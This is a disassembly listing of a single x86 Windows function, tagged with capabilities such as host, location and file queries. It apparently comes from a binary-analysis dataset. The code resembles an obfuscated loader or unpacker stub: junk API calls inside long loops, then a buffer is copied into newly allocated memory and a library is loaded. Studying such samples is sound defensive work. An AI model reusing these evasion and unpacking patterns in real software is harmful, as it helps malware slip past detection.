Function at 0x417990
Capabilities:
Get common file path
Get geographical location
Get hostname
Move file
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41cca1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x21e8
call fcn.00416890
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x14], ebx
mov esi, dword [esp + 0x10]
mov ebp, dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
xor eax, eax
push edi
mov edi, dword [esp + 0x14]
mov dword [esp + 0x18], eax
cmp eax, 0x2c787
jge 0x4179e8
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
mov eax, dword [esp + 0x18]
cmp dword [0xb8bed4], 0x6fb
jne 0x417a3e
push 0x30
lea eax, [esp + 0x1b8]
push ebx
push eax
mov dword [esp + 0x1bc], ebx
call fcn.0040a480
add esp, 0xc
push ebx
lea ecx, [esp + 0x1b4]
push ecx
push 0x404094
call ebp
push ebx
lea edx, [esp + 0x9fc]
push edx
push 0x4040bc
call dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov eax, dword [esp + 0x18]
cmp eax, 0x1e7d3ede
jle 0x417a5c
cmp dword [esp + 0x14], 0xc0f3f2
je 0x417a5c
cmp dword [esp + 0x1bc], 0x9374828
jne 0x417a6e
inc eax
mov dword [esp + 0x18], eax
cmp eax, 0x7d9ed
jl 0x4179d4
jmp 0x417aa0
cmp dword [0xb8bed4], 0x28
jne 0x417aa0
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x9fc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea edx, [esp + 0x90]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
cmp dword [0xb8bed4], 0xcf8
jne 0x417fa8
push 0x4040f4
push ebx
call fcn.0040a3bd
push ebx
call fcn.0040a253
add esp, 0xc
push ebx
push ebx
call fcn.00409fab
add esp, 8
lea eax, [esp + 0x38]
push eax
call fcn.00406580
mov dword [esp + 0x38], 0x40432c
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], ebx
mov eax, 1
mov dword [esp + 0x2204], eax
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x90], 0x404370
mov dword [esp + 0xa0], 0x404378
mov byte [esp + 0x2204], 3
mov ebp, 6
push 4
mov dword [esp + 0x1c], eax
mov dword [esp + 0xf4], 0x404314
mov dword [esp + 0x9c], ebx
mov dword [esp + 0xa0], ebx
mov dword [esp + 0x124], ebx
mov dword [esp + 0xfc], ebx
mov dword [esp + 0x104], ebx
mov dword [esp + 0x108], 0x201
mov dword [esp + 0x10c], ebp
mov dword [esp + 0x110], ebx
mov dword [esp + 0x114], ebx
mov dword [esp + 0x118], ebx
mov dword [esp + 0x11c], ebx
mov dword [esp + 0x120], ebx
mov dword [esp + 0x100], ebx
call fcn.0040a5b6
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x417bd0
call fcn.00408eef
mov dword [esi], eax
call fcn.00408cae
push ebx
lea ecx, [esp + 0x20]
mov edi, eax
call fcn.004090b5
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
jae 0x417bc5
inc eax
mov dword [edi + 4], eax
lea ecx, [esp + 0x1c]
call fcn.004090dd
jmp 0x417bd2
xor esi, esi
lea ecx, [esp + 0xa8]
lea edi, [esp + 0x20]
lea eax, [esp + 0xf0]
mov dword [esp + 0x120], esi
mov dword [esp + 0x128], ecx
mov dword [esp + 0x12c], ebx
call fcn.00405510
mov edi, eax
mov dword [esp + 0x2204], ebp
call fcn.004083e0
mov byte [esp + 0x2204], 5
mov edi, dword [esp + 0x20]
mov ebp, eax
cmp edi, ebx
je 0x417c5a
push ebx
lea ecx, [esp + 0x18]
call fcn.004090b5
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x417c38
cmp eax, 0xffffffff
jae 0x417c38
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x14]
and esi, edi
call fcn.004090dd
cmp esi, ebx
je 0x417c5a
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov edx, dword [ebp]
mov eax, dword [edx + 0x18]
push 0x20
mov ecx, ebp
call eax
mov byte [esp + 0x130], al
cmp dword [esp + 0x128], ebx
jne 0x417ca0
mov eax, dword [esp + 0xfc]
or eax, 4
and eax, 0x17
mov dword [esp + 0xfc], eax
test dword [esp + 0x100], eax
je 0x417ca0
push ebx
lea ecx, [esp + 0xf4]
call fcn.00405430
mov ecx, dword [esp + 0xa0]
mov edx, dword [ecx + 4]
mov dword [esp + edx + 0xa0], 0x40431c
mov eax, dword [esp + 0x90]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x90], 0x404324
mov dword [esp + 0x2204], 9
mov edx, dword [esp + 0x90]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xa8]
mov esi, 0x40436c
push ecx
mov dword [esp + eax + 0x94], esi
call fcn.00406580
mov edi, 0x40432c
mov dword [esp + 0xa8], edi
mov dword [esp + 0xe4], ebx
mov dword [esp + 0xe8], ebx
push 0x404100
lea edx, [esp + 0xa4]
push edx
mov byte [esp + 0x220c], 0xb
call fcn.004056f0
push 0x404104
lea eax, [esp + 0xa4]
push eax
call fcn.004056f0
push ebx
call fcn.0040a5a7
add esp, 4
push ebx
call fcn.0040a3a6
add esp, 4
push ebx
push ebx
call fcn.0040a0a7
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.004098a8
add esp, 0x1c
push ebx
push ebx
push ebx
push ebx
call fcn.004099fd
mov edx, dword [esp + 0xa0]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x100]
add esp, 0x10
mov dword [esp + 0x20], ecx
mov dword [esp + eax + 0x90], esi
test byte [esp + 0xe8], 1
lea ecx, [esp + 0xa8]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0xa8], edi
je 0x417dba
mov edx, dword [esp + 0xb8]
mov eax, dword [edx]
push eax
call fcn.0040a505
add esp, 4
mov eax, dword [esp + 0xb8]
mov dword [eax], ebx
mov ecx, dword [esp + 0xc8]
mov dword [ecx], ebx
mov edx, dword [esp + 0xd8]
mov dword [edx], ebx
mov eax, dword [esp + 0xbc]
mov dword [eax], ebx
mov ecx, dword [esp + 0xcc]
mov dword [ecx], ebx
mov edx, dword [esp + 0xdc]
mov dword [edx], ebx
and dword [esp + 0xe8], 0xfffffffe
mov dword [esp + 0xe4], ebx
mov dword [esp + 0xa8], 0x4042d4
mov byte [esp + 0x2204], 0xd
mov eax, dword [esp + 0xe0]
mov ebp, eax
cmp eax, ebx
je 0x417e6f
mov edi, dword [eax]
cmp edi, ebx
je 0x417e61
push ebx
lea ecx, [esp + 0x18]
call fcn.004090b5
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x417e3f
cmp eax, 0xffffffff
jae 0x417e3f
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x14]
and esi, edi
call fcn.004090dd
cmp esi, ebx
je 0x417e61
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebp
call fcn.0040a505
add esp, 4
mov edi, 0x40432c
lea ecx, [esp + 0xac]
mov byte [esp + 0x2204], 0xc
call fcn.0040910e
mov byte [esp + 0x2204], 2
mov eax, dword [esp + 0x90]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x90], 0x404324
mov edx, dword [esp + 0xa0]
mov eax, dword [edx + 4]
mov dword [esp + eax + 0xa0], 0x40431c
mov ecx, dword [esp + 0x90]
mov edx, dword [ecx + 4]
lea eax, [esp + 0xf0]
mov dword [esp + edx + 0x90], 0x404314
push eax
mov dword [esp + 0xf4], 0x4042c8
call fcn.00408be4
add esp, 4
test byte [esp + 0x78], 1
mov dword [esp + 0x38], edi
je 0x417eff
mov ecx, dword [esp + 0x48]
mov eax, dword [ecx]
push eax
call fcn.0040a505
add esp, 4
mov edx, dword [esp + 0x48]
mov dword [edx], ebx
mov eax, dword [esp + 0x58]
mov dword [eax], ebx
mov ecx, dword [esp + 0x68]
mov dword [ecx], ebx
mov edx, dword [esp + 0x4c]
mov dword [edx], ebx
mov eax, dword [esp + 0x5c]
mov dword [eax], ebx
mov ecx, dword [esp + 0x6c]
mov dword [ecx], ebx
and dword [esp + 0x78], 0xfffffffe
mov dword [esp + 0x74], ebx
mov dword [esp + 0x38], 0x4042d4
mov dword [esp + 0x2204], 0xe
mov eax, dword [esp + 0x70]
mov ebp, eax
cmp eax, ebx
je 0x417f94
mov edi, dword [eax]
cmp edi, ebx
je 0x417f8b
push ebx
lea ecx, [esp + 0x18]
call fcn.004090b5
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x417f69
cmp eax, 0xffffffff
jae 0x417f69
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x14]
and esi, edi
call fcn.004090dd
cmp esi, ebx
je 0x417f8b
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
push ebp
call fcn.0040a505
add esp, 4
lea ecx, [esp + 0x3c]
mov dword [esp + 0x2204], 0xffffffff
call fcn.0040910e
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
mov ebp, dword [sym.imp.KERNEL32.dll_MoveFileA]
xor esi, esi
cmp esi, 0x408
jne 0x417fc9
mov eax, 0x5d1
add dword [0xb8bed4], eax
cmp dword [0xb8bed4], 0xca3
jne 0x417fed
push ebx
lea ecx, [esp + 0x5fc]
push ecx
push ebx
call edi
push 0x404108
push 0x40412c
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x417fb6
mov edx, dword [0xb8bed4]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0xb8be3c], eax
mov eax, dword [0xb8bed4]
xor esi, esi
cmp eax, ebx
jbe 0x41811a
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebp, dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
cmp eax, 0xfe
jne 0x41807e
push ebx
lea eax, [esp + 0x1fc]
push eax
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [esp + 0x5f8]
push ecx
push 0x40413c
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor eax, eax
lea edx, [esp + 0x24]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
push edx
lea eax, [esp + 0x1b4]
push eax
push 0x404158
mov dword [esp + 0x30], ebx
call ebp
mov eax, dword [0xb8bed4]
cmp eax, 0x37
jne 0x4180d0
push ebx
lea ecx, [esp + 0x1fc]
push ecx
push ebx
push 0x404028
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x404040
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
lea edx, [esp + 0x90]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x404064
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov eax, dword [0xb8cec8]
mov dword [esp + 0x18], eax
mov eax, 0x5d1
add dword [esp + 0x18], eax
mov ecx, dword [esp + 0x18]
mov eax, dword [0xb8be3c]
mov dl, byte [ecx + esi]
mov byte [eax + esi], dl
mov eax, dword [0xb8bed4]
cmp eax, 0x29
jne 0x418111
push ebx
lea ecx, [esp + 0x9fc]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov eax, dword [0xb8bed4]
inc esi
cmp esi, eax
jb 0x418024
mov esi, dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov edi, 0x9682ab
cmp eax, 3
jne 0x418132
push ebx
call esi
mov eax, dword [0xb8bed4]
dec edi
jne 0x418125
mov esi, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
mov ebp, 0x25887
mov edi, 0xabebc05c
jmp 0x418150
mov dword [0xb8be44], edi
cmp eax, 0x222
jne 0x418172
push ebx
push ebx
push ebx
push 0x40417c
push 0x4041bc
push ebx
call esi
mov eax, dword [0xb8bed4]
dec ebp
jne 0x418150
mov byte [0x437888], bl
call fcn.004173b0
call fcn.00417740
mov edi, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov ebp, dword [sym.imp.KERNEL32.dll_LocalSize]
xor esi, esi
cmp dword [0xb8bed4], 0xba
jne 0x4181a8
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push ebx
call edi
push ebx
call ebp
cmp esi, 0x2f64
jne 0x4181c1
mov eax, 0x4ecf
add dword [0xb8be3c], eax
inc esi
cmp esi, 0x1605a
jl 0x418193
push 0x403fa0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0xb8bed4], 0xc30
jne 0x4182b2
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
lea edx, [esp + 0x14]
push edx
push 0x4041dc
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
lea eax, [esp + 0x5f8]
push eax
push 0x40420c
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x40423c
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push ebx
lea ecx, [esp + 0x24]
push ecx
push ebx
lea edx, [esp + 0x204]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
lea eax, [esp + 0x9fc]
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x98]
push eax
lea ecx, [esp + 0xa0]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
lea edx, [esp + 0x1b0]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push ebx
call esi
push ebx
lea eax, [esp + 0x11fc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push ebx
lea ecx, [esp + 0x19fc]
push ecx
push 0x404264
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push ebx
lea edx, [esp + 0x88]
push edx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, dword [esp + 0x21fc]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret